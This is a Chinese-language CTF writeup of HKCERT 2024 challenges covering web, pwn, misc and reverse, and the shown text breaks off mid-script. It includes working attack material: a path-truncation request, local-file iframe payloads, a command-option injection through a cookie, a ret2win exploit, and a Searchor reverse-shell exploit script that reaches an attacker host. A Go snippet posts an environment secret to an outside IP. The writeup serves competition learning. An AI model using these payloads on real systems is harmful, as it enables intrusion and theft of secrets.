我们新点击蓝字
关注我们
声明
本文作者:CTF战队
本文字数:23779字
阅读时长:约60分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
团队每周会报名参加各类CTF比赛,writeup在公众号更新。
我们建立了一个关于CTF的公开交流群,大家赛后可以交流技巧思路。
❝
香港網安奪旗賽 hkcert 2024
https://platform.ctf.hkcert.org
WEB
New Free Lunch
js看源码得secretkey
burp抓包按照js中的加密逻辑secretkey+username+score提交成绩即可
看排行榜拿flag
hkcert24{r3d33m_f0r_4_fr33_lunch}
Custom Web Server (1)
下载代码,读。出题人自己做了个web服务器,没有用nginx和apache这种东西。所以一些normalize或限制都没有了。
审计代码。发现很明显的任意文件读取。直接*GET /*后面的字符拼到public/后读取文件返回。唯一的限制是一个后缀的白名单
可以试试GET /../500.html,拼接后读取public/../500.html,返回500.html内容。
但是读取flag.txt绕过不了后缀。被白名单限制死了。
于是头脑风暴一下。发现BUFFER_SIZE是写死的,可以尝试溢出漏洞。
可以看到,在检测后缀之后,代码使用snprintf(real_path, sizeof(real_path), "public/%s", filename)
la来进行拼接,此处real_path大小是固定的1024。
我们构造如下POC:
GET /././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././flag.txt.js HTTP/1.1
Host: c02a-custom-server-1-11.hkcert24.pwnable.hk:1337
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
可以将最后的.js溢出去形成截断,从而读取flag.txt
hkcert24{bu1ld1n94_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial}
Webpage to PDF(1)
因为使用的是wkhtmltopdf,就可以通过构造如下网页代码进行读取根目录下的flag.txt文件
<!DOCTYPE html>
<html>
<head>
<title>Flag</title>
</head>
<body>
<iframe src="file:///flag.txt" width="100%" height="100%"></iframe>
</body>
</html>
但转换失败,报错Warning: Blocked access to file /flag.txt
,说无法访问文件。搜索报错然后发现需要添加一个命令行参数,--enable-local-file-access
。然后再看看源代码,发现没有任何过滤,直接将session_id加上.html/.pdf就执行了,那么就可以通过改变session_id从而改变命令。
直接将Cookie中session_id的值在前边加个前缀 --enable-local-file-access
,然后再次让它转换构造出来的网页,然后删除url中的我们增加的部分,访问原有的session_id.pdf就能拿到flag
Mystiz's Mini CTF (2)
POST http://43.135.142.77:5000/register/ HTTP/1.1
Host: 43.135.142.77:5000
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://43.135.142.77:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://43.135.142.77:5000/register/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=11122234&password=11122234&score=999&is_admin=1
GET http://43.135.142.77:5000/api/admin/challenges/ HTTP/1.1
Host: 43.135.142.77:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=.eJwdjjkOwzAMwP7iuYN8SVY-E1gX2tVppqJ_r9GNIDjwk85Yfj3T8V63P9L5snSk7Mo8sAYEld4zW5jNphMnOhmGMDEwiSBqmdIkKnQUq80UUIZtRs7BMMeIumvEIM7SLdq23qF2nQUU1S1GhA4GwhyFdVLaI_fl639D3x--RjAr.Zy84Vg.HW-aIwdyTYUtsQdCCpMXdZuOs3k
Connection: close
Webpage to PDF(2)
pdfkit允许在标签中更改wktohtmlpdf配置,所以可以通过更改设置enable-local-file-access,从而读取本地文件
https://github.com/JazzCore/python-pdfkit/blob/master/pdfkit/pdfkit.py
<!DOCTYPE html>
<html>
<head>
<title>Flag</title>
<meta name="pdfkit-enable-local-file-access" content=""/>
</head>
<body>
<iframe src="file:///flag.txt" width="100%" height="100%"></iframe>
</body>
</html>
Pwn
CHATGGT
简单ret2win
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
#io=process("./chal")
io = remote("c64-chatggt.hkcert24.pwnable.hk", 1337, ssl=True)
rv = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug():
gdb.attach(io)
win=0x4011f6
sla(":","A"*264+p64(0x40101a)+p64(win))
#debug()
sla(":","EXIT")
sl("cat flag*")
print ru("}")
#shell()
ISH1
有溢出,改game执行函数的名字
执行
curl
web.t.ctf.wgpsec.org/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag1
game
逻辑是game执行是在内存中放需要执行文件的名字,溢出把名字改成flag1可以执行flag1
拿到flag
Misc
B6ACP
搜索会弹窗
获取服务端版本号
搜索版本号找到漏洞
在github上找到exp,但是需要改一改,修改之后的脚本如下:
#!/bin/bash -
default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"
echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"
if [ -z "${evil_cmd##*$plus*}" ]
then
evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi
if [ $# -ne 0 ]
then
echo "[*] Input target is $1"
echo "[*] Input attacker is $2:${port}"
echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
curl -s -X POST $1/ -d "e=Google&q=${evil_cmd}" 1> /dev/null
else
echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example:
./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi
然后反弹shell到自己服务器上,flag在/home/hkcertuser/local.txt里
Get Flag Yourself
编写发送Flag的Go脚本
package main
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"os"
)
func main() {
flag := os.Getenv("FLAG")
if flag == "" {
fmt.Println("FLAG environment variable is not set.")
return
}
data := map[string]string{"flag": flag}
jsonData, err := json.Marshal(data)
if err != nil {
fmt.Println("Error marshaling JSON:", err)
return
}
url := "http://x.x.x.x:8088"
resp, err := http.Post(url, "application/json", bytes.NewBuffer(jsonData))
if err != nil {
fmt.Println("Error sending request:", err)
return
}
defer resp.Body.Close()
fmt.Println("Response status:", resp.Status)
}
Reverse
Baby Cracker
IDA手撕。
flag分为四部分
第一部分是needle,即 hkcert24{
第二部分是从bytes_2123的解密值中取前28位。解密bytes_2123
arr=[189, 16, 182, 80, 189, 53, 191, 120, 127, 10, 152, 97,
31, 28, 203, 169, 240, 217, 108, 5, 238, 172, 184, 152,
157, 119, 60, 188, 129, 46, 160, 121, 61, 139, 119,
221, 127, 111, 227, 2, 43, 67, 56, 104, 168, 215, 18,
10, 161, 220, 245, 243, 131, 33, 220, 103, 218, 102,
155, 119, 211, 169, 85, 226, 110, 58, 46, 98, 142, 94,
136, 98, 54, 161, 231, 45, 145, 242, 50, 147, 103, 123,
189, 240, 205, 16, 218, 127, 44, 120, 86, 138, 160,
56, 46, 225, 177, 136, 176, 71, 19, 4, 247, 196, 99,
20, 219, 12, 187, 19, 75, 239, 187, 114, 36, 20, 89,
131, 144, 164, 9, 105, 204, 122, 226, 158, 140, 143,
105, 161, 237, 77, 233, 80, 162, 50, 254, 36, 138, 84,
127, 255, 20, 129, 29, 182, 193, 57, 119, 138, 112,
243, 44, 119, 178, 206, 55, 173, 7, 3, 110, 190, 24,
248, 66, 144, 65, 138, 230, 252, 98, 52, 106, 206, 82,
154, 121, 106, 53, 138, 77, 53, 129, 34, 67, 40, 210,
150, 212, 155, 44, 238, 159, 253, 143, 190, 129, 120,
51, 240, 6, 130, 21, 206, 193, 116, 114, 66, 100, 51,
195, 23, 144, 222, 18, 219, 195, 112, 161, 86, 126,
45, 146, 21, 69, 186, 122, 98, 79, 239, 207, 126, 85,
62, 74, 66, 169, 179, 232, 101, 81, 239, 96, 155, 183,
30, 90, 103, 152, 203, 193, 32, 65, 146, 218, 110, 0]
print(len(arr))
a=open("flag.txt","r")
for i in range(257):
c=''
b=a.readline().strip("n").split(" ")
#print(b)
for j in range(len(b)):
if b[j]=="db":
if b[j+1]=='':
if b[j+2]=='':
c=b[len(b)-1]
else:
c=b[j+2]
else:
c=b[j+1]
break
c=c.strip("h")
print(chr(arr[i]^int(c,16)),end="")
flag.txt:
.rodata:000000000000200E unk_200E db 0CEh ; DATA XREF: .data:off_4058↓o
.rodata:000000000000200F db 21h ; !
.rodata:0000000000002010 db 0DBh
.rodata:0000000000002011 db 64h ; d
.rodata:0000000000002012 db 0D1h
.rodata:0000000000002013 db 50h ; P
.rodata:0000000000002014 db 0E0h
.rodata:0000000000002015 db 1Bh
.rodata:0000000000002016 db 0Dh
.rodata:0000000000002017 db 3Eh ; >
.rodata:0000000000002018 db 0FBh
.rodata:0000000000002019 db 0Ah
.rodata:000000000000201A db 52h ; R
.rodata:000000000000201B db 2Fh ; /
.rodata:000000000000201C db 94h
.rodata:000000000000201D db 9Dh
.rodata:000000000000201E db 0AFh
.rodata:000000000000201F db 0B1h
.rodata:0000000000002020 db 58h ; X
.rodata:0000000000002021 db 6Bh ; k
.rodata:0000000000002022 db 8Ah
.rodata:0000000000002023 db 0EEh
.rodata:0000000000002024 db 0C1h
.rodata:0000000000002025 db 0F0h
.rodata:0000000000002026 db 0FCh
.rodata:0000000000002027 db 19h
.rodata:0000000000002028 db 0Ah
.rodata:0000000000002029 db 0E3h
.rodata:000000000000202A db 0E9h
.rodata:000000000000202B db 1Eh
.rodata:000000000000202C db 0D0h
.rodata:000000000000202D db 4Ah ; J
.rodata:000000000000202E db 62h ; b
.rodata:000000000000202F db 0F2h
.rodata:0000000000002030 db 47h ; G
.rodata:0000000000002031 db 0A8h
.rodata:0000000000002032 db 20h
.rodata:0000000000002033 db 0Bh
.rodata:0000000000002034 db 0D3h
.rodata:0000000000002035 db 6Ch ; l
.rodata:0000000000002036 db 1Ch
.rodata:0000000000002037 db 1Ch
.rodata:0000000000002038 db 56h ; V
.rodata:0000000000002039 db 5Bh ; [
.rodata:000000000000203A db 9Bh
.rodata:000000000000203B db 0B3h
.rodata:000000000000203C db 4Dh ; M
.rodata:000000000000203D db 3Dh ; =
.rodata:000000000000203E db 0CEh
.rodata:000000000000203F db 83h
.rodata:0000000000002040 db 80h
.rodata:0000000000002041 db 0C0h
.rodata:0000000000002042 db 0E6h
.rodata:0000000000002043 db 7Eh ; ~
.rodata:0000000000002044 db 0E8h
.rodata:0000000000002045 db 9
.rodata:0000000000002046 db 0BDh
.rodata:0000000000002047 db 14h
.rodata:0000000000002048 db 0C4h
.rodata:0000000000002049 db 47h ; G
.rodata:000000000000204A db 0A1h
.rodata:000000000000204B db 0F6h
.rodata:000000000000204C db 2Fh ; /
.rodata:000000000000204D db 0D1h
.rodata:000000000000204E db 31h ; 1
.rodata:000000000000204F db 5Ch ;
.rodata:0000000000002050 db 1Eh
.rodata:0000000000002051 db 10h
.rodata:0000000000002052 db 0D1h
.rodata:0000000000002053 db 2Ah ; *
.rodata:0000000000002054 db 0E0h
.rodata:0000000000002055 db 53h ; S
.rodata:0000000000002056 db 45h ; E
.rodata:0000000000002057 db 0FEh
.rodata:0000000000002058 db 85h
.rodata:0000000000002059 db 58h ; X
.rodata:000000000000205A db 0A6h
.rodata:000000000000205B db 0ADh
.rodata:000000000000205C db 3
.rodata:000000000000205D db 0CCh
.rodata:000000000000205E db 10h
.rodata:000000000000205F db 4Bh ; K
.rodata:0000000000002060 db 0D3h
.rodata:0000000000002061 db 94h
.rodata:0000000000002062 db 0FEh
.rodata:0000000000002063 db 62h ; b
.rodata:0000000000002064 db 85h
.rodata:0000000000002065 db 4Eh ; N
.rodata:0000000000002066 db 4Ah ; J
.rodata:0000000000002067 db 27h ; '
.rodata:0000000000002068 db 35h ; 5
.rodata:0000000000002069 db 0E2h
.rodata:000000000000206A db 94h
.rodata:000000000000206B db 0Fh
.rodata:000000000000206C db 49h ; I
.rodata:000000000000206D db 91h
.rodata:000000000000206E db 86h
.rodata:000000000000206F db 0D7h
.rodata:0000000000002070 db 80h
.rodata:0000000000002071 db 35h ; 5
.rodata:0000000000002072 db 4Ch ; L
.rodata:0000000000002073 db 67h ; g
.rodata:0000000000002074 db 0C3h
.rodata:0000000000002075 db 0AAh
.rodata:0000000000002076 db 3Ch ; <
.rodata:0000000000002077 db 67h ; g
.rodata:0000000000002078 db 0E8h
.rodata:0000000000002079 db 3Fh ; ?
.rodata:000000000000207A db 0E4h
.rodata:000000000000207B db 67h ; g
.rodata:000000000000207C db 23h ; #
.rodata:000000000000207D db 0DEh
.rodata:000000000000207E db 8Eh
.rodata:000000000000207F db 2Dh ; -
.rodata:0000000000002080 db 46h ; F
.rodata:0000000000002081 db 25h ; %
.rodata:0000000000002082 db 36h ; 6
.rodata:0000000000002083 db 0E1h
.rodata:0000000000002084 db 0F3h
.rodata:0000000000002085 db 90h
.rodata:0000000000002086 db 7Dh ; }
.rodata:0000000000002087 db 0Fh
.rodata:0000000000002088 db 0B9h
.rodata:0000000000002089 db 14h
.rodata:000000000000208A db 8Ch
.rodata:000000000000208B db 0E7h
.rodata:000000000000208C db 0B6h
.rodata:000000000000208D db 0A6h
.rodata:000000000000208E db 1Ah
.rodata:000000000000208F db 90h
.rodata:0000000000002090 db 80h
.rodata:0000000000002091 db 79h ; y
.rodata:0000000000002092 db 85h
.rodata:0000000000002093 db 35h ; 5
.rodata:0000000000002094 db 0FDh
.rodata:0000000000002095 db 51h ; Q
.rodata:0000000000002096 db 8Ch
.rodata:0000000000002097 db 10h
.rodata:0000000000002098 db 0E9h
.rodata:0000000000002099 db 3Fh ; ?
.rodata:000000000000209A db 32h ; 2
.rodata:000000000000209B db 0CCh
.rodata:000000000000209C db 4Bh ; K
.rodata:000000000000209D db 0B5h
.rodata:000000000000209E db 42h ; B
.rodata:000000000000209F db 0DEh
.rodata:00000000000020A0 db 0F5h
.rodata:00000000000020A1 db 57h ; W
.rodata:00000000000020A2 db 13h
.rodata:00000000000020A3 db 0C8h
.rodata:00000000000020A4 db 9
.rodata:00000000000020A5 db 9Bh
.rodata:00000000000020A6 db 4Dh ; M
.rodata:00000000000020A7 db 19h
.rodata:00000000000020A8 db 84h
.rodata:00000000000020A9 db 91h
.rodata:00000000000020AA db 5Fh ; _
.rodata:00000000000020AB db 9Dh
.rodata:00000000000020AC db 77h ; w
.rodata:00000000000020AD db 30h ; 0
.rodata:00000000000020AE db 31h ; 1
.rodata:00000000000020AF db 0C7h
.rodata:00000000000020B0 db 28h ; (
.rodata:00000000000020B1 db 8Dh
.rodata:00000000000020B2 db 1Dh
.rodata:00000000000020B3 db 0F4h
.rodata:00000000000020B4 db 71h ; q
.rodata:00000000000020B5 db 0E4h
.rodata:00000000000020B6 db 0D1h
.rodata:00000000000020B7 db 0A3h
.rodata:00000000000020B8 db 0Ch
.rodata:00000000000020B9 db 7
.rodata:00000000000020BA db 59h ; Y
.rodata:00000000000020BB db 0AAh
.rodata:00000000000020BC db 0Dh
.rodata:00000000000020BD db 0ADh
.rodata:00000000000020BE db 16h
.rodata:00000000000020BF db 35h ; 5
.rodata:00000000000020C0 db 40h ; @
.rodata:00000000000020C1 db 0B9h
.rodata:00000000000020C2 db 28h ; (
.rodata:00000000000020C3 db 6Ah ; j
.rodata:00000000000020C4 db 0B5h
.rodata:00000000000020C5 db 4Ch ; L
.rodata:00000000000020C6 db 24h ; $
.rodata:00000000000020C7 db 5Ah ; Z
.rodata:00000000000020C8 db 8Dh
.rodata:00000000000020C9 db 0A6h
.rodata:00000000000020CA db 0A6h
.rodata:00000000000020CB db 0C4h
.rodata:00000000000020CC db 56h ; V
.rodata:00000000000020CD db 0DDh
.rodata:00000000000020CE db 0C0h
.rodata:00000000000020CF db 9Bh
.rodata:00000000000020D0 db 0BFh
.rodata:00000000000020D1 db 0CCh
.rodata:00000000000020D2 db 0DEh
.rodata:00000000000020D3 db 0Ch
.rodata:00000000000020D4 db 5Bh ; [
.rodata:00000000000020D5 db 0C1h
.rodata:00000000000020D6 db 75h ; u
.rodata:00000000000020D7 db 0DDh
.rodata:00000000000020D8 db 77h ; w
.rodata:00000000000020D9 db 0BBh
.rodata:00000000000020DA db 0F6h
.rodata:00000000000020DB db 2Bh ; +
.rodata:00000000000020DC db 43h ; C
.rodata:00000000000020DD db 1Dh
.rodata:00000000000020DE db 13h
.rodata:00000000000020DF db 3
.rodata:00000000000020E0 db 0ADh
.rodata:00000000000020E1 db 73h ; s
.rodata:00000000000020E2 db 0A3h
.rodata:00000000000020E3 db 0ACh
.rodata:00000000000020E4 db 4Dh ; M
.rodata:00000000000020E5 db 0EAh
.rodata:00000000000020E6 db 0A5h
.rodata:00000000000020E7 db 2Fh ; /
.rodata:00000000000020E8 db 0C2h
.rodata:00000000000020E9 db 3Eh ; >
.rodata:00000000000020EA db 4Ah ; J
.rodata:00000000000020EB db 1Ah
.rodata:00000000000020EC db 0F5h
.rodata:00000000000020ED db 65h ; e
.rodata:00000000000020EE db 72h ; r
.rodata:00000000000020EF db 0E5h
.rodata:00000000000020F0 db 4Ah ; J
.rodata:00000000000020F1 db 10h
.rodata:00000000000020F2 db 10h
.rodata:00000000000020F3 db 8Ch
.rodata:00000000000020F4 db 0FBh
.rodata:00000000000020F5 db 10h
.rodata:00000000000020F6 db 0Ah
.rodata:00000000000020F7 db 4Dh ; M
.rodata:00000000000020F8 db 79h ; y
.rodata:00000000000020F9 db 71h ; q
.rodata:00000000000020FA db 0F6h
.rodata:00000000000020FB db 0C7h
.rodata:00000000000020FC db 80h
.rodata:00000000000020FD db 54h ; T
.rodata:00000000000020FE db 64h ; d
.rodata:00000000000020FF db 0B0h
.rodata:0000000000002100 db 2
.rodata:0000000000002101 db 0AAh
.rodata:0000000000002102 db 0D8h
.rodata:0000000000002103 db 7Ch ; |
.rodata:0000000000002104 db 39h ; 9
.rodata:0000000000002105 db 53h ; S
.rodata:0000000000002106 db 0ECh
.rodata:0000000000002107 db 0ADh
.rodata:0000000000002108 db 0B4h
.rodata:0000000000002109 db 4Eh ; N
.rodata:000000000000210A db 2Fh ; /
.rodata:000000000000210B db 0EBh
.rodata:000000000000210C db 0E0h
.rodata:000000000000210D db 47h ; G
.rodata:000000000000210E db 0
得到密文:
s1m4le_cr4ckM3_4_h4ndByhan6_h0p3_y0u_d0n7_n33d_7o_u3e_4gr_0r_z3_f0r_th1s_bu7__w0nd3r_1f_ch47gp7_0r_c4n_s33_th15_b1obc4tfunny:)s1m4le_cr4ckM3_4_h4ndBhan6_h0p3_y0u_d0n7_n3d_7o_u3e_4ngr_0r_z3_f0r_th1s_bu7_1_wnd3r_1f_ch47gp7_0r_c4n_s33_th15_1obc4tfunny:)
取前28位即可 s1m4le_cr4ckM3_4_h4ndByhan6_
第三部分:一个方程,同时满足
C3+C4+C5=300
2C3+C4+2C5=496
2C3+3C4+C5=607
初中数学手撕,得C3=99,C4=104,C5=97;最后三个字符为 cha
第四部分:以 1} 结束
拼起来得到flag
hkcert{s1m4le_cr4ckM3_4_h4ndByhan6_cha1}
Yet another crackme
手撕APK包,看到assemblies的blob文件。
找工具转成dll:https://github.com/jakev/pyxamstore
直接dnspy打开,发现Crackme.dll。
找到加密逻辑
// CrackMe.MainPage
// Token: 0x0600000B RID: 11 RVA: 0x00018548 File Offset: 0x00016748
[NullableContext(1)]
private bool checkFlag(string f)
{
int[] array = new int[]
{
9,
10,
11,
12,
13,
32,
33,
34,
35,
36,
37,
38,
39,
40,
41,
42,
43,
44,
45,
46,
47,
48,
49,
50,
51,
52,
53,
54,
55,
56,
57,
58,
59,
60,
61,
62,
63,
64,
65,
66,
67,
68,
69,
70,
71,
72,
73,
74,
75,
76,
77,
78,
79,
80,
81,
82,
83,
84,
85,
86,
87,
88,
89,
90,
91,
92,
93,
94,
95,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
106,
107,
108,
109,
110,
111,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
124,
125,
126
};
int[] array2 = new int[]
{
58,
38,
66,
88,
78,
39,
80,
125,
64,
106,
48,
49,
98,
32,
42,
59,
126,
93,
33,
56,
112,
120,
60,
117,
111,
45,
87,
35,
10,
68,
61,
77,
11,
55,
121,
74,
107,
104,
65,
63,
46,
110,
34,
41,
102,
97,
81,
12,
47,
51,
103,
89,
115,
75,
54,
92,
90,
76,
113,
122,
114,
52,
72,
70,
50,
94,
91,
73,
84,
95,
36,
82,
124,
53,
108,
101,
9,
13,
44,
96,
67,
85,
116,
123,
100,
37,
43,
119,
71,
105,
118,
69,
99,
79,
86,
109,
62,
83,
40,
57
};
ulong[] array3 = new ulong[]
{
16684662107559623091UL,
13659980421084405632UL,
11938144112493055466UL,
17764897102866017993UL,
11375978084890832581UL,
14699674141193569951UL
};
ulong num = 14627333968358193854UL;
int num2 = 8;
Dictionary<int, int> dictionary = new Dictionary<int, int>();
for (int i = 0; i < array.Length; i++)
{
dictionary[array[i]] = array2[i];
}
StringBuilder stringBuilder = new StringBuilder();
foreach (char c in f)
{
stringBuilder.Append((char)dictionary[(int)c]);
}
int num3 = num2 - f.Length % num2;
string text = stringBuilder.ToString() + new string('u0001', num3);
List<ulong> list = new List<ulong>();
for (int k = 0; k < text.Length - 1; k += num2)
{
ulong num4 = BitConverter.ToUInt64(Encoding.ASCII.GetBytes(text.Substring(k, num2)), 0);
list.Add(num4);
}
List<ulong> list2 = new List<ulong>();
foreach (ulong num5 in list)
{
ulong num6 = num ^ num5;
list2.Add(num6);
}
for (int l = 0; l < array3.Length; l++)
{
if (array3[l] != list2[l])
{
return false;
}
}
return true;
}
exp:
import struct
# 已知的映射数据
array = [
9, 10, 11, 12, 13, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126
]
array2 = [
58, 38, 66, 88, 78, 39, 80, 125, 64, 106, 48, 49, 98, 32, 42, 59, 126, 93, 33, 56, 112, 120, 60, 117, 111, 45, 87, 35, 10, 68, 61, 77, 11, 55, 121, 74, 107, 104, 65, 63, 46, 110, 34, 41, 102, 97, 81, 12, 47, 51, 103, 89, 115, 75, 54, 92, 90, 76, 113, 122, 114, 52, 72, 70, 50, 94, 91, 73, 84, 95, 36, 82, 124, 53, 108, 101, 9, 13, 44, 96, 67, 85, 116, 123, 100, 37, 43, 119, 71, 105, 118, 69, 99, 79, 86, 109, 62, 83, 40, 57
]
array3 = [
16684662107559623091,
13659980421084405632,
11938144112493055466,
17764897102866017993,
11375978084890832581,
14699674141193569951
]
num = 14627333968358193854
num2 = 8
# 创建反向映射字典
reverse_dict = {array2[i]: array[i] for i in range(len(array))}
# 解密过程:通过array3和num反向推算出f字符串
def decrypt():
result = []
list2 = array3
# 通过反向的 XOR 操作,得到解密后的值
for num5 in list2:
num6 = num ^ num5
# 将每个解密后的num6值转为8个字符的ASCII码
for i in range(num2):
char = (num6 >> (i * 8)) & 0xFF
result.append(char)
# 根据反向字典映射恢复字符
flag_chars = [chr(reverse_dict.get(char, char)) for char in result]
return ''.join(flag_chars)
# 输出解密后的flag
flag = decrypt()
print("Flag:", flag)
# Flag: hkcert24{f0r3v3r_r3m3mb3r_x4m4r1n_2024-5-1}
Void
真正的代码被隐藏了
搓了个针对https://dmnk.co/emptyfuscator.html#的解密脚本,后来发现根本不需要手动解密。解密代码:
def decode(encoded_str):
# encoded_str += 'u000Au000Au000Au000A'
# First, replace the invisible characters with '0' and '1'
binary_str = ''.join(['0' if char == 'uFFA0' else '1' for char in encoded_str])
# Now, group the binary string into 8-bit chunks
byte_size = 8
chars = [binary_str[i:i+byte_size] for i in range(0, len(binary_str), byte_size)]
# Convert each 8-bit chunk to a character
decoded_chars = [chr(int(byte, 2)) for byte in chars]
# Join the decoded characters to form the final decoded string
return ''.join(decoded_chars)
https://x.com/aemkei/status/1843756978147078286:使用不可见的谚文填充字符 (U+3164) 与 JavaScript 的 with 语句和 Proxy 对象来编码
将前端代码拔下来,在u3164函数里加一个console.log输出字符串
运行后在控制台能看到源码
ISA 101
逻辑很简单,命令进去xor一下就SYSCALL了。写个逆向脚本即可
exp:
import binascii
command = 'exec printflag_19876bc2'
command = ['exec', ' pri', 'ntfl', 'ag_1', '9876', 'bc2']
key = [0xc833a241, 0x01d9f2f1, 0x5becacfd, 0x404bcc99, 0x4ddd147f, 0xf3391e9f, 0xce454872, 0xff591d2f, 0x88d9666a]
output = ''
count = 0
for i in command:
i = i[::-1]
hex_i = binascii.hexlify(i.encode()).decode()
hex_i = str(hex(int(hex_i, 16)^key[count]))[2:]
tmp = [''*4]
for j in range(0, len(hex_i), 2):
k = hex_i[j]+hex_i[j+1]
tmp.append(k)
l = ''.join(tmp[::-1])
output += l
count += 1
print(output)
# 24da56abd182ab6893d88a37f8ab1471462cea7bfd7d0bf3
hkcert24{x0r_1n_isa_r04d_t0_fullch41n!!!}
Morph
❝
Binary sometimes mixed together, just like fried rice or bibimbap.
附件拖入ida
都是先decompress,再调用。而实际是decompress函数就是smc
写个简单脚本直接解smc
auto i,j;
auto k=-1,size=-1,addr=-1;
//0x25baca
for(i=0x25b0c1;i<0x25baca;i++){
if(GetMnem(i)=="mov"&&GetOpnd(i,0)=="edx"&&GetOpType(i,1)==5){
k=GetOperandValue(i,1);
//Message("%Xn",k);
}
if(GetMnem(i)=="mov"&&GetOpnd(i,0)=="esi"&&GetOpType(i,1)==5){
size=GetOperandValue(i,1);
//Message("%Xn",size);
}
if(GetMnem(i)=="lea"&&GetOpnd(i,0)=="rax"&&GetOpType(i,1)==2){
addr=GetOperandValue(i,1);
Message("%lXn",addr);
}
if(k!=-1&&size!=-1&&addr!=-1){
for(j=addr;j<addr+size;j++){
PatchByte(j,Byte(j)^k);
}
k=-1;
size=-1;
addr=-1;
}else{
//Message("%X %X %Xn",k,size,addr);
}
}
Message("successn");
解完后发现都是类似的异或再比较
手动把异或的式子提取出来,z3求解时稍微限制一下前后字符即可。脚本
import z3
length=55
a=[z3.BitVec('a{}'.format(i), 8) for i in range(length)]
x=z3.Solver()
# b=[]
# for i in range(length):
# b.append(z3.SignExt(24,a[i]))
for i in range(length):
x.add(a[i]>=32)
x.add(a[i]<127)
x.add(a[48]^a[49]==0x58)
x.add(a[14]^a[15]==0x5d)
x.add(a[11]^a[12]==0xa)
x.add(a[51]^a[52]==0x46)
x.add(a[42]^a[43]==0x64)
x.add(a[12]^a[13]==0x39)
x.add(a[37]^a[38]==0x36)
x.add(a[21]^a[22]==0x9)
x.add(a[26]^a[27]==0x57)
x.add(a[1]^a[2]==0x8)
x.add(a[7]^a[8]==0x4f)
x.add(a[22]^a[23]==0x38)
x.add(a[49]^a[50]==0x1b)
x.add(a[45]^a[46]==0x1e)
x.add(a[40]^a[41]==0x31)
x.add(a[29]^a[30]==0x1c)
x.add(a[44]^a[45]==0x1e)
x.add(a[19]^a[20]==0x48)
x.add(a[53]^a[54]==0x4e)
x.add(a[39]^a[40]==0x6a)
x.add(a[10]^a[11]==0x5f)
x.add(a[46]^a[47]==0x32)
